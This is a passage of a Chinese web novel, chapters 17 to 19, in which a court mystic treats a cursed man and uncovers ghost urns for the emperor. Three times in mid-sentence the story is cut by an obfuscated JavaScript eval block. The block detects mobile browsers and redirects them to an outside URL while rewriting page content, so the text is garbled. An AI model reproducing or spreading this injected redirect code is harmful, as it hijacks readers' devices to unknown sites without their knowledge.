走出安和殿,一架步辇已经在门外侯着,连雨年不解:“陛下不是睡下了?为何又传步辇?” 小内侍答道:“陛下让奴婢们送先生回惠仪殿。” “……”连雨年反手指着自己,“送我?” “是的,送您。” “……谢过陛下好意。”连雨年回身拱手,“但不用麻烦了,几步路而已,我自己回去就是。” 听到这话,内侍们顿时面露惶恐,齐刷刷跪了一地:“这是陛下的吩咐,奴婢们万万不敢自作主张,还请先生不要为难我等。” “……”连雨年无奈地叹了口气:“好吧,有劳。” “多谢先生体谅。” 当了两辈子古代人,连雨年第一次坐上步辇,托着下巴望天边月牙,只觉得胃胀感更重了。 沈青池这是确认他的身份了啊……起码确认了九成。 剩下那一成,只能靠他努力表演、不露破绽、不提供证据努力维持了。 毕竟……他还没想好如何面对沈青池的感情。 似乎察觉到他心绪混乱,“土豆粉”从生命线里探出头,看了他一眼,再打个冒黑气的饱嗝,又兴致缺缺地缩了回去。 次日一早,因陛下临时“调休”,朝会钟声没有响起,连雨年得以睡了个好觉,将近午时才醒。 宫人们确认他已起床,端上早已备下的洗漱用具和新衣裳,花厅内也摆好午膳,等他收拾好再过去享用。 熬个大夜又起个大晚,连雨年骨头都是酥的,走两步就咔嚓作响,所幸腹中擂鼓般的饥饿感很快驱散了他一身懒倦,拿起筷子时,他已经恢复得与往常无二。 站在旁边的择青也与平常无二。 “择青公公吃了吗?”连雨年轻车熟路地招呼他,“今天的早……午膳很丰富,要不要坐下一起吃点?” 择青笑眯眯地替他盛汤:“这些菜是陛下吩咐膳房特意为先生做的,奴婢怎好同享。陛下说了,先生有救驾之功,往后在宫里便比照亲王待遇。另外,您提的宅子陛下已经选好了,就在临安王府旁边,从前是宫廷别院,开阔大气又不失精致婉约,您若喜欢,以后可以常常去住。不过妖蛊教之事解决之前,还请继续住在宫里,方便陛下随时召见。” 他吧啦吧啦说了一通,连雨年却只记住了宫廷别院一词。没记错的话,那座别院是先帝刚登基时命人建的行宫,由于当时国库空虚,大小没有达到先帝的要求,便空置下来了,内中的布景陈列一应照着最高规格布置,后来还差点变成沈青池的王府。 只是先太子走得急,先皇又紧跟着病故,他早早登基,那别院便又没了去处,至今还像个艺术品似的杵在城中最好的地段,供往来游人欣赏。 连雨年捏捏鼻骨:“谢……陛下厚爱,我实在愧不敢当。” “是先生谦逊。”择青笑道,“对了,舒统领说昨晚巡夜时在东门墙根儿底下发现了一个人,穿着诡戏戏服,七窍流血,虽然还有气儿,但半死不活,让太医看了也说尽管性命无虞,可短时间内也很难让他清醒过来,没准便是给陛下下魇魅术的人,因咒术被破解受了反噬,才变成那副模样。” “陛下派禁军围住了有家乐坊,并把那位伤者挪到了安和殿偏殿,让先生您吃完饭过去看看。” “来得太巧了,未必就是……”连雨年说着,忽然心念一动,“行,我一会儿去瞧瞧。” 择青点点头,继续给他布菜。 17. 十七 偏殿内撤去宁神香,取而代之的是一股苦涩的药汤味。药香中隐约浮动着淡淡的铁锈气,闻久了不免让人气闷。 彼时,几个内侍匆匆忙忙开窗通风,两位太医也放下手头之事,赶紧迎出殿门外见礼——丹澧先生挡在试图进殿的陛下身前,苦口婆心地与他拉扯。 “陛下,殿中血气腌臜,草民进去看一眼便出来,不会耽搁太久。您金尊玉贵,且回大殿等着可好?” 择青在旁边点头:“丹先生说的是!” 今日休沐,昨晚闹了一夜,沈青池亦是刚醒,仍穿着那身连雨年怎么看怎么眼熟的浅色旧寝衣,给他一种自己十四岁时写的青春疼痛文学被人打印在衣服上穿着招摇过市的尴尬感,脚趾已经快把鞋底抠穿了。 沈青池自然看得出他眼底努力隐藏,但仍然漏了一截尾巴尖尖的不自在,故意调整了一下不大合身的衣襟:“一点血气而已,朕又不是没有亲手斩过不臣之人。何况那人既然能受伤,说明不是……” 他突然一顿,看向不远处束手候着的太医,换了用词:“……说明他是人。有舒琊和歌庭在,又有先生相随,不会有事的。” “陛下,圣人言君子不立危墙之下,而且明枪易躲暗箭难防,我们三人未必能护得您周全。”连雨年板起脸,“陛下还是回去吧,您在这儿,草民须得腾出心力保护您,反倒不能认真探查了。” 陛下你可老实的吧! 舒琊和白歌庭同时抱拳:“丹先生说的对!” “伶牙俐齿的说客。”沈青池点点连雨年,又瞥向旁边三个下属,“敷衍应声的谏臣。” 说完,他似乎有些生气,转身就走,临了甩下一句:“一会儿你站着回禀。” 连雨年撇撇嘴——真的吗?我不信。 等沈青池走得没影了,白歌庭才颇为惊奇地压低了声音问:“陛下今日……怎么跟孩子似的?” “被忤逆了,心情不好?”舒琊猜测。 择青笑眯眯摇头:“不,是心情特别好,跟咱们开玩笑呢。” 两位武夫露出不明所以的表情,唯一知道真相的连雨年摸摸鼻尖,扭头走进偏殿。 经过通风,殿内的气味散了很多,一位太医回窗下看着药炉,另一位领着连雨年来到床边。 因着沈青池特意吩咐,躺在床上的伤者仍旧穿着戏服化着戏妆,单薄瘦小的身体裹在厚厚的衣饰下,仿佛一具鬼木偶,了无生气。 靠近床前后,血腥味变得浓重起来,择青捂了捂口鼻,有些钦佩面不改色的连雨年。 连雨年见过太多形容狰狞的厉鬼,为了了却他们的遗愿,也打捞过许多面目全非的尸体,这点血腥气对他而言微不足道。 他问太医:“此人身上可有外伤?” “并无。”太医摇头,“他之所以七窍流血、昏迷不醒,是因为内腑遭受重创,先前吐出的血里甚至带着脏器碎片。按理说,常人受此重伤,早该身亡,可他不知提前服用了什么药物,竟生生护住他一口气,一直为他吊着命。我们现在也只能用虎狼药催发生机,尽量让他坚持得久一些。以他的伤势,哪怕最后活了下来,也只能是个活死人。” “这……”择青皱起眉头,下意识看向连雨年。 连雨年面色沉静,并不因伤者情况糟糕而起波澜,只说:“无妨,让我看看。” 陛下对丹澧先生的看重早已在宫中传开,哪怕不知内情,太医们也不会蠢到去质疑、得罪一位风头正盛的宠臣,尤其他们还是沈青池亲自选换的太医。 太医先是退至一旁,看到择青冲自己使了个眼色,又退出屏风外,帮同僚斟酌药方和药量。 连雨年顺势坐在床沿,伸出两指抵在伤者的颈动脉上,指尖震动的脉搏微不可察,凌乱无序,甚至有时很久才跳动一下,情况比生命垂危好上一些,也就到插管续命的程度。 已经造成的伤害连雨年治不了,这是大夫的活儿。 但他找到了伤者的“致命伤口”,并且有办法将之拔除,避免其再爆发一次。 “择青公公……” “奴婢这就退下。” 择青颇有眼色地退出屏风外,并亲手放下遮帘。 连雨年见状,暗暗夸了句真会办事,随即收敛心神,翻掌虚按在伤者的腹部上方。 千丝万缕的金线自他掌心飘扬垂落,悄无声息钻进伤者的腹腔。 透过灵视视角,连雨年可以清晰看到盘踞于他腹内的一块团状黑气,黑气仿佛一只刺猬,周遭突起针状触角,那些触角不断延伸,深深扎进他的五脏六腑、血肉骨骼,每隔片刻就会亮一下,那是汲取他生命力的表现。 这黑气之前爆发过一次,在伤者体内制造了不少淤血肿块,创伤极其严重。最要命的是,那些触角几乎已经扎根在他的四肢百骸之间,牵一发而动全身。 换做旁人,哪怕发现病灶也不敢轻举妄动,任何一点刺激都会导致试试就逝世的结局。 连雨年却不然。 他拔不掉这东西,也不必拔——烧干净就行。 这样想着,连雨年折起五指,将已经没入伤者体内、围绕着那团黑气游离不定的金线转换形态,一点鲜红自内而外地涌出,把稳定而平和的灿金染上炽烈的红色,仿佛暴怒的火线。 黑气只粘上一点,那火线便猛地扑涌上去,顺着星罗密布的触角飞快蔓延开来,黏着而炽烈地燃烧。 伤者腹部陡然传出一声油锅沸腾的“刺啦”声响,干柴烈火般的灼烧过程不断激起噼噼啪啪的响动,不时爆开一声密封物体从内部被烧得破裂的闷响,紧接着就是水烧开的咕嘟咕嘟…… 守在外边的择青一听这动静人都麻了,要不是足够信任连雨年,只怕第一时间就要冲进去确认丹澧先生没有把伤者拆吧拆吧炖成了一锅汤。 好在这阵动静没有持续太久,约莫小半刻时间便偃旗息鼓,沉寂下去。 择青擦擦汗,不知为何,长出一口气。 屏风内,连雨年收回金红两色交织的火线,线条蜷缩成茧状,包着一团没有烧干净的黑气本体,周身触角蔫嗒嗒地甩动,不时吐出一缕烟气。 他这是烧了个内丹出来? 连雨年正打量着,一直趴在手心掌纹中的“土豆粉”忽然蹿了出来,直直冲向那团黑气。 它的头部中间裂开一条缝隙,张开一张比身体大数倍的“巨口”,作势要将其一口吞下。 连雨年条件反射地挥手拍飞它,保下黑气。它在空中翻滚几圈,停在连雨年身前,虽然没有脸看不出表情,浑身上下却散发出一股委屈巴巴的气息。 随之一同传来的还有一种心念:饿! 金红火线把黑气里三层外三层地裹严实了,连雨年晃晃手里拎着的一截线头:“你想吃这个?” “土豆粉”用力点头。 连雨年陷入沉思。 这根粉条自尸体堆里诞生,它的口粮只怕不是怨气就是怨魂,更重口一点还可能是血肉,总归不会是什么好东西。 但仔细想想,这玩意儿大部分时候都很安分,唯独攻击过沈青池一人。他当时以为这家伙是因为不喜欢自己的创造者,所以对与其血脉同源的沈青池恨屋及乌。但实际上它可能只是在觅食,正常的向“食物”发起攻击而已。 被魇魅术污染后的执念,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233763|165986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本质与怨气无异。说起来,昨天他撕碎那道咒术最后的反扑时,有一部分咒力确实被它吞掉了。 正想着,连雨年忽然感觉手指一紧,“土豆粉”把他勾着黑气团的食指结结实实缠绕了起来,一个掷地有声的“饿”字再度传入他的脑中。 “吃了点东西后,你能做的事倒是比之前多了。”连雨年回过神来,将黑气团一分为二,挑出略小的那半块扔给它。 有吃的就行,“土豆粉”不挑大小,也不贪心,高高兴兴地张开嘴接住,“咕噜”一下吞进肚里去,紧跟着身上浮起了好几张落着血泪的笑脸,表示感谢。 连雨年戳它:“别急着高兴。吃了我的东西,你得回答我几个问题。” “土豆粉”钻回他的掌纹里趴好,只露出个脑袋,懒散地点头。 “第一,你是什么?” “土豆粉”想了想,传过去一句磕磕巴巴的话:“不……知……道……以前……有人……叫我……觋。” 连雨年眼神微变。 古时有以舞降神之人,在男为觋,在女为巫。 所谓古时,指的是神话时代结束后的千余年岁月,巫觋则是那时至今所有沟通天地鬼神的人与术的开端,沈青池之前请来的那些能人异士都是从最初的巫觋演变而来。 但和如今这些包装精良的骗子不同,巫觋是真正的上古大巫分支之一,和丹家一样有巫族传承,在神话时代远去后的千余年间始终活跃于历史舞台上。 他们走的也是丹家的辅佐人皇之道,却不参与政治斗争,只为皇室观星相命,断朝代兴衰——那也是他们先祖的道。 不过,巫觋与丹家的路实在太像了,就连结局也几乎一模一样。千年辉煌结束后,他们也迎来了血脉能力的断代,从两千年前起便渐渐销声匿迹,消失得比丹家还干净。 魇魅术、盖皮匿骨、以尸养鬼这一脉邪术的创造者,就是最后一个有史记载的觋。 这“土豆粉”是不是觋不好说,但先太子身边可能真的有一位觋。 丹家传了那么多年还有个丹澧,虽说丹澧病故后被他借体重生了,不算完整的丹家人,但好歹生死之间激发了血脉能力,让他得以再次为丹家入世扬名,以偿这份重活一世的恩情。 丹家都有这样的机缘,没道理巫觋一脉就会早早断绝血脉传承。 “妖蛊教的水可真深啊,先太子到底想干什么?”连雨年揉揉酸痛的太阳穴,却没有多想,打算把新出现的线索扔给沈青池,让他去解题,“下一个问题,你以前吃的是什么?谁喂给你的?” “土豆粉”点了点他提着的另外半颗黑气团:“荒……秽……以前……不知道……现在……你。” “荒秽?”连雨年皱眉,这个名词他觉得耳熟,但一时想不起来在哪儿听过,“你吃掉的所有东西……统称荒秽?” “土豆粉”点头:“都……是。” 不是“统称”,而是“都是”吗? 连雨年若有所思地忖了一会儿,不再多问。 他收起黑气团,让“土豆粉”藏好,又探了探床上伤者的状况,确认他的情况稳定下来后,起身走了出去。 “丹先生。”择青迎上前,“您看完了?” 连雨年点头:“走吧,去见陛下。” 话音刚落,他的脑子里冷不防冒出昨夜在沈青池梦中看见的那个吻,陡然升起的强烈尴尬感让他脚步一顿,从头顶麻到背脊。 我以为没有良心的发小其实一直在暗恋我,甚至想过事败让我陪葬,事成就把我囚禁在他身边这种会让人一边骂一边看的经典虐文桥段。 这都是什么事儿啊! 18. 十八 “……这就是草民从那位伤者身上得到的线索。” 安和殿上,连雨年删繁就简地说了一遍自己的发现,便束手站定,低眉敛目,等上首凝眉沉思之人做出判断。 沈青池倚着软垫,难得有一日清闲,他的神色比往日松弛得多,目光直勾勾落在连雨年身上,毫无遮掩。 “巫觋之说已有许多年不曾出现,若非先生今日提起,朕都快忘记天枢阁那群老人家们兢兢业业所做的事,放在千年前有多么重要。” 说到这里,他顿了顿,起身走下台阶,与连雨年隔着不远不近的距离,在他作势后退时陡然转向,行至开向望月台的小门,望向台边疏竹。 “先太子已经是个死人,他的目的并不重要。不过,朕没有在他身边见过可能是觋的人,那人未必就死在先太子事败后的两次大清洗中。”他微微偏头,“先生认为他若是还活着,会藏身于何处?” 连雨年注意到他欲盖弥彰的小动作,哭笑不得地答道:“只能是妖蛊教了。” “说得更准确一点,应该是真正的妖蛊教。”沈青池纠正道,“明面上的妖蛊教只是一个名字起得不太好的民间教派,大部分底层教众都是寻常百姓,信教里的神明也只求内心安稳。朕之前看过妖蛊教的情报,先生可能想不到,在那些有分教驻扎的城镇村落里,每个分教每半年都会给教众们发一套绣着六字教义的新衣服和一篮子鸡蛋,妖蛊教对教众无所求,这是他们区别于其他教派的地方,也是他们最大的优势。” 内心的安宁和切实的好处双管齐下,比之清静无为的道教和苦修待来世的佛教,确实是更吸引人一些。 连雨年想起前世某些宗教也有类似的做法,眼角的筋抽了抽,开始怀疑妖蛊教的教主会不会也是穿越者。 “这么说起来,明面上这个妖蛊教反而不像教派,像一个隐形的情报机构。”他揉揉太阳穴,尽量客观地分析道:“需要大量财力支撑、触角遍及大盛各地、深入天然且广阔的情报市场——底层百姓之间。陛下,您觉得呢?” 沈青池微笑:“与朕所见略同。” 他招招手,择青当即心领神会,到案前取来一本折子递给连雨年。 见他翻开查看,沈青池才接着说:“这是妖蛊教所有能被查到的资料,盛朝十八城均有他们的足迹,其他的小镇小村、叫不上名字的穷乡僻壤,也都有他们的身影。真是好大一张网。” 他不动声色地挪动脚步,悄悄凑近认真阅读的连雨年:“先太子在位六年,光靠他和他手下那帮‘凡人’,很难完成这样的壮举,一定有人以非同寻常的手段助他打通了一些关节,朕一直在想那个人会是谁,还差点想到了先生身上……” 连雨年背后汗毛一竖,条件反射地抬头看他,这才惊觉他们之间的距离缩短了不足三步。 沈青池毫不掩饰自己的怀疑、冷酷,与眼底名为君心如渊的阴影。对着连雨年,他撕开了亲手架构的温和伪装,让他透过快速消散的重云厚霭,看见三年后真实的自己。 连雨年没有后退,像他坦诚夺嫡野心的那夜般静静迎上他近乎宣泄的坦荡赤诚,再次把那些仍旧尖锐的棱角包容磨平。 沈青池满意一笑,伸手拂去他肩头的一根断发:“当然,朕知道你不是。你也为朕找到了答案,这个人可能就是一位与丹家有着相似传承的觋。” 连雨年身体一僵,呼吸间尽是他衣上的宁神香味道,还是那么闷滞涩口,像雨天沤出的青苔。 他的指尖蹭着连雨年的耳垂收回,留下一缕似有若无的凉意。连雨年忍下抓挠的冲动,无奈道:“……谢陛下信任。” “那先生应该明白朕专门说起此事的打算了?”沈青池笑吟吟问。 他自然明白,这又不难猜。 将妖蛊教切割成明面上和暗地里两部分,又把矛头对准明显掌控了后者的觋,沈青池想挖空妖蛊教的核心,留下那个可以并入盛朝情报机构的外壳,为己所用。 “草民明白。”连雨年回以一笑,紧绷的状态和语气几乎是瞬间缓和下来,在他的坦诚中解除了一直以来的防备,真正站到他的面前,与他看向同一个目标,“陛下有计划了?” “先把朕感兴趣的那部分收入囊中,乌龟害怕壳被敲碎,自然会探头反击——那便是我们的机会。”说完,沈青池看了连雨年一眼,状若无意地透露:“情报的事都是歌庭在管,收编明面上的妖蛊教的事也会由他负责。教众里若有人知晓内幕,或是有作奸犯科者,就让许鉴去查去审。至于最危险的那一件事,还要有劳先生看顾了,朕会全力配合。” 连雨年淡定地点头,道了句“多谢”,好像不知道这番话里包含了多么惊天动地的信任。 一旁的择青却已用纸团将耳朵塞上——这是他随侍在侧,又刚好碰上沈青池跟人聊些不方便听的话题时的惯常做法,每每直觉告诉他接下来陛下要说的话可能让他掉脑袋,他就会马上掏出塞上,这回也不例外。 当宫廷内相也是件技术活,他能年纪轻轻就混到“老祖宗”的位置,靠的可不止是站对了队伍。 午后无事,沈青池去处理要紧事务,连雨年也没出宫,在望月台上钓鱼。 是的,望月台围栏外有一口水池,青石砌边,草木葱茏,池中有不少锦鲤,莫名勾起了他的垂钓兴致。 他试探性地向沈青池提了一嘴,沈青池想都没想就让人给他拿来了渔具。 在望月台边下杆时,连雨年眼瞅着择青和其他内侍们看他的眼神一变再变,一会儿像看佞臣,一会儿像看妖妃,也不知道脑补了什么,精彩纷呈。 连雨年失笑摇头,越发确定沈青池已经认出了自己,只是不想揭穿自己。 虽然不知道原因,但他老实不搞事,连雨年也乐得清闲,懒得深思和纠结,浑然忘记对面是只聪慧狡黠的千年狐狸,所做之事从无闲笔——蛰伏也一样。 傍晚,空军大半日的连雨年在望月台边折了一枝竹子当做收获,收杆起身。 沈青池正好看完最后一份奏折,命人传膳,又对连雨年说:“先生与朕口味相似,留下一起用膳吧。” “多谢陛下,草民却之不恭。”连雨年大大方方地答应。 择青到门口,吩咐内侍们记得叮嘱膳房今日多传一份饭的事,听见自己的小徒弟小声问道:“师父,里头那位先生与陛下究竟是什么关系?敢钓陛下的鱼,还折陛下的竹子,胆识过人啊!” “作死!陛下的事也是你能打听的!” 择青横眉立目,没好气地拍了他后脑勺一下:“快去传膳!若是误了时辰,有你好果子吃!” 小徒弟讪讪一笑,连忙走到队伍前头,领着其他人前往膳房。 饭菜很快端进了安和殿,没有先帝那么浮夸的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15233764|165986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一顿三十二个菜,一共十二盘,冷热汤俱全,菜色也并不过度复杂靡费,都是些量大管饱的家常菜,大概两百多桌加起来才顶得上先帝一桌的花费。 看来在这一点上,皇位并未腐化沈青池那颗简单质朴的心。 择青仔仔细细试过毒后,连雨年和沈青池同时动筷。 他们分坐于桌子两侧,大圆形餐桌方便他们自行夹菜,省却许多等待功夫。食不言寝不语的规矩根植两人心底,用膳时他们并不交流,偶尔筷子夹到一处去,也只是一方尴尬,一方宽容地笑笑,然后各自让开。 择青侍立在侧,看着看着,忽然觉得这一幕很是熟悉,也颇为陌生。 他好像很久都没有见过陛下和谁一起好好地坐下来吃一顿饭了,像今日这般面上含笑,手里也未拿着奏章的样子更是少见。 从前小临安王在的时候…… 他在的时候…… 择青冷不丁反应过来,悚然一惊,眼底压着隐晦的惊诧,在连雨年和沈青池身上扫来扫去,半晌后,终于从这一幕场景中剥离出自己觉得的“眼熟”的本质——这不是陛下登基前跟小临安王的吃饭日常吗? 陛下难道……莫不是…… 似乎……大概……也许……可能…… 把丹澧先生当成了小临安王的替身!? 连雨年倘若知道他的想法,大概会给他竖个大拇指,夸他一句:你是懂猜测的。 但连雨年不知道,而择青也没有意识到自己的想法出现了偏差,开始纠结陛下这么干会不会太对不起尽忠职守的丹先生,以及陛下肉体凡胎,要是真把丹先生撩上手又被他发现自己成了替身,到底能挨得住他几剑这种离谱的事。 他不认为自己是在杞人忧天,尤其在看过连雨年凭空引雷的本事之后。 正当他心乱如麻之际,一个内侍忽然风风火火地走进殿内禀报:“陛下,林统领有要事禀报,说是关于古家班的,正在殿外等候。” 禁军统领姓林名寻生,沈青池昨夜派他领着人马查抄了有家乐坊,带回古家班的成员。 他这时候过来,估计不是有结果了就是出意外了。 沈青池放下筷子:“让他进来吧。” “是。” 内侍应声退下,很快,林寻生便解剑进殿,单膝跪下禀报:“陛下,臣已封锁有家乐坊,并按照陛下的吩咐,将坊内所有戏班都带至东宫,由刑部尚书许鉴大人和兵部尚书陈安大人暂时看管和询问。不过……” “不过什么?” 林寻生咽了咽口水:“不过,乐坊里没有古家班的人,他们的住处……只有九十多个骨灰坛。” 闻言,沈青池皱起眉头,择青则打了个寒颤,轻轻拍打着手臂上的鸡皮疙瘩。 连雨年反倒不慌不忙地笑了:“古家班二十八只鬼,加上那夜看诡戏时陪着我和许大人的七十一只,共计九十九只鬼。林统领发现的是这个数吗?” “……”林寻生擦擦额上的汗,“是、是的。” 连雨年又问:“林统领可把它们带回来了?” “带回来了,也……放在东宫。” 连雨年轻笑一声,放下空了的碗,施施然起身道:“陛下,草民吃好了,过去看看。马上就要入夜,希望两位大人不会被吓得太厉害。” 沈青池拿了帕子擦嘴,颔首道:“朕也同往。” 19. 十九 夜幕笼罩着东宫,白日看来精巧绝伦的亭台楼阁,到了夜里全成张牙舞爪的厉鬼影子,处处透着诡怖。 偏巧今日是二十七,月末,天上的月牙轮廓浅得近乎于无,那微薄月色除了为此处的诡异氛围添砖加瓦之外,几乎没有用处,包括照明。 东宫主殿内,许鉴和陈安并排坐在庭前长椅上,看着身前排得整整齐齐的骨灰坛,不知该感谢林寻生和他的兵手艺不错,还是该恼火他为什么不明天再找到这些东西。 好在许鉴毕竟陪连雨年看过一场诡戏,连出了胆子,又是一身浩然正气的读书人,反应还算平静。 他擦擦额前的冷汗:“虽说妖蛊教之事惊世骇俗,不好放在明面处理,免得有人借鬼神之说生事。但东宫毕竟曾经……又被禁军挖了个底朝天,陛下怎么偏就选了此处作为调查地点。” “因为这里刚被翻个底朝天,所有人都认为朕记恨先太子,再次对他从前的住处进行掘地三尺的破坏,所以正好位于他们的视线盲点。” 沈青池的声音缓缓传来,两位大人触电似的弹跳起身,转身迎上走进殿门的一行人——沈青池、连雨年、择青、林寻生、舒琊,以及白歌庭。 加上东宫里外秘密布控的数十名近卫、暗卫,陛下的心腹班底来得十分齐全。 但护卫的数量是不是少了些? 两人这样想着,却没有宣之于口,只向沈青池长揖到底:“参见陛下。” “不用多礼,坐吧。”沈青池挥挥手,转身看向一旁,“这些就是在有家乐坊里发现的骨灰坛?” 九十九个骨灰坛排成十行,在夜色掩映下犹如墓碑阴影,森然诡谲,任沈青池心志坚毅,乍然一见,也感觉后心漫开一片凉意。 “回陛下,正是。”林寻生回道,“死者为大,加上担心里面有些……臣不敢贸然打开检查,原封不动地送了过来。” 沈青池颔首:“乐坊里的其他人审得如何了?” 许鉴道:“臣粗略审了一遍,大部分人不清楚古家班的来历,说他们只在晚上外出活动,白天几乎见不着人影,因而和他们也没有多少往来。坊主倒是好像知道什么,但骨头很硬,臣与陈大人正在想办法撬开他的嘴。” 闻言,陈安拱手道:“陛下放心,最多过了今夜,他就会老实开口了。” 兵部尚书虽是文官,但少时做过酷吏,随过军,在人间最靠近地狱的两处地方摸爬滚打混了许多年,颇通刑讯手段。 沈青池微微一笑:“人交给你审,朕自然放心。不过,其他戏班的人都只是普通百姓,确认他们不知情后尽快放他们离开,莫走漏风声。” 两人躬身应答:“是。” 东宫这边的事说完,择青又代沈青池说了连雨年的最新发现。 本来这是连雨年的活儿,但在场众人见他一眨不眨地盯着那些骨灰坛,表情认真到令人头皮发麻,便不敢打扰他。反正择青口才甚好,由他来说也不妨碍什么。 “觋……好古老的称呼啊。”陈安揉了揉太阳穴,只觉得青筋突突直跳,“在似是而非……” 他顿了顿,看了连雨年一眼,调整措词:“在神话时代结束后,巫觋被誉为最接近鬼神之人,即使后来没落,他们留下的传承也养活了一大批人……包括天枢阁那群宿老。他们和丹先生还不同,若是让有心人知道世上仍然存在着‘觋’,要不了几天,乡野市井间就该出现改天换日的童谣和谶语了。” “你以为现在便没有吗?”许鉴冷哼一声,“那日我与丹先生看的诡戏,讲的就是世道混乱,阴阳颠倒,把人变成鬼的故事。看的时候我便感觉这戏有问题,倘若将之与与妖蛊教和觋联系在一起,我反倒可以理解了。” 舒琊谨慎道:“我也看过诡戏……是其他戏班在白天演的戏目。诡戏大多是这类内容,只不过如今河晏海清,又正值陛下收复失地,国运正盛之际,百姓们多是看一看惊险刺激的剧情,图个乐呵,并不会被过多影响。” “潜移默化,总能改易人心。”许鉴不赞同地摇头,“到底是个隐患。” 陈安拍拍他的肩膀,露出能让狱中犯人两股战战的温和笑容:“别的种类戏目亦有针砭时弊的内容,拿本朝的剑斩前朝的官的唱段也不少,百姓只图日子平顺,只要世道不乱,何必剥夺他们难得的乐趣?” “防民之口甚于防川啊……” 沈青池没有参与他们的争论,却也不阻拦,他不是刻薄寡恩的先帝,早就在史书里读懂了纳谏的重要性,不会堵塞言路,尤其是身边心腹的理念碰撞。 说起来,理念碰撞这个词还是连雨年说给他听的,和“理越辩越明”相近,又要更尖锐一些。 过去的十四年里,连雨年以臣侍自居,鲜少与他唱反调,那寥寥几次用得上这个词的地方,过程和结果都与这个词一样尖锐,每每令自以为养气功夫到位的他恼火不已。 但恼着恼着,他便习惯了。 那些都不如连雨年重要。 有此深厚基础,沈青池再遇上臣子们的谏言、处理他们之间的对抗时,也便觉得不算什么了。 “陛下。” “嗯?” 突然被喊,沈青池下意识应完声,才反应过来喊自己的是谁,连忙看向连雨年。 他终于把目光自骨灰坛上移开,抓着腕骨转了转:“他们要出来了。” “……啊?” 沈青池尚未开口,许鉴几人先愣在原地,陈安劝同僚想法不要太激进的话都卡在嗓子眼,怔怔看着连雨年。 连雨年并未解释什么,划开指腹,朝骨灰坛方向甩出一滴血。 血滴掠过夜空,触上第一排骨灰坛上方的虚空时,仿佛朱砂入水,漾起层层涟漪。 涟漪向后方扩开,所过之处,空间像碎裂了似的剥落一块块残片,露出底下浓稠黑暗的虚空。 这一幕实在眼熟,亲身经历过的择青几人不约而同围住了沈青池,暗中布防的暗卫和近卫们也像冒出土壤的萝卜,纷纷自藏身处探出头来,握住了连雨年之前为他们刻的桃木剑。 见状,许鉴脑海中跳出个不合时宜的念头——所以不是陛下带护卫带少了,而是桃木剑的数量少了吗? “咔嚓——咔嚓——”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15233765|165986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 似有琉璃破裂的轻响回荡于四周,空中裂纹越来越多、越来越密,直到那截夜空轰然炸开,数不清的碎片如雨落下,连雨年投出的血滴终于将他眼中所见呈现于所有人面前。 陈旧粗糙的骨灰坛蜕变为一团团灰白色的泥浆,在地上缓慢蠕动、变形,发出窃窃私语般的嘈杂声响。 一双双人腿长在泥浆里,皮肤也泛着同样的死灰色,好像刷了一层灰漆。他们眼睛紧闭,双手交叠放在胸前,神色漠然,看上去……就像一具具竖着的尸体。 “他们……” 四周陷入一片死寂,沉默半晌,沈青池才艰难地开口,声音滞涩:“一直都是这个状态……?” “不是。之前只有一团泥浆,还是凝固的。”连雨年鼻翼微耸,看着那些泥浆皱起眉宇,一边嫌弃地捏了捏鼻子,一边指指天空,“月亮隐入云层之后,他们才从里面‘长’出来。” “……” 众人木着脸抬头,果然不知从何时起,那弯下弦月已经被乌云掩去。 许鉴搓了搓脸——他不仅从这些“泥浆人”里看到那夜出演诡戏的演员,还看到了坐在自己身旁的“听众”,那人甚至给他递过茶点,当时看起来与活人一般无二。 早知道他们是这种……早知道…… 许鉴喉头一阵紧缩,咽下了因恐惧而泛起的酸水。 另外几人没有他那种“刺激”体验,短暂惊讶后很快便收拾好心情,把沈青池护得密不透风,然后向连雨年投去目光。 “丹先生,他们……”白歌庭清了清发哑的嗓音,“他们什么时候会‘醒’?” “子时。”连雨年不假思索地答道,眸光幽深,呢喃似的又说:“荒秽啊……原来是这种东西。” 一面说,他一面攥紧手指,死死压住喊着“美味”作势要扑出去大快朵颐的“土豆粉”。 相比于臣子们大同小异的反应,沈青池倒是平静得很,从好几块堆叠的衣袖间伸出手去,扯了连雨年腰封上垂下的丝绦问:“这些鬼可以问话吗?” “可以,他们有神志。”连雨年点头,瞥了眼他不安分的爪子,把丝绦扯回来。 沈青池又拽了回去。 陈安绷紧脸,佯装没看到两人的拉拉扯扯,也没有注意到择青越发复杂的神色:“鬼魂并无身躯,若是他们不愿说实话……臣那些审讯手段可派不上用场。” “无妨,我有一计。”连雨年抢不回那根带子,索性松开手,任他扒拉,“陈大人就同他们说——愿意坦诚的,我可以帮他们脱离脚下那团泥浆。不愿意的,我就帮他们烧了。” 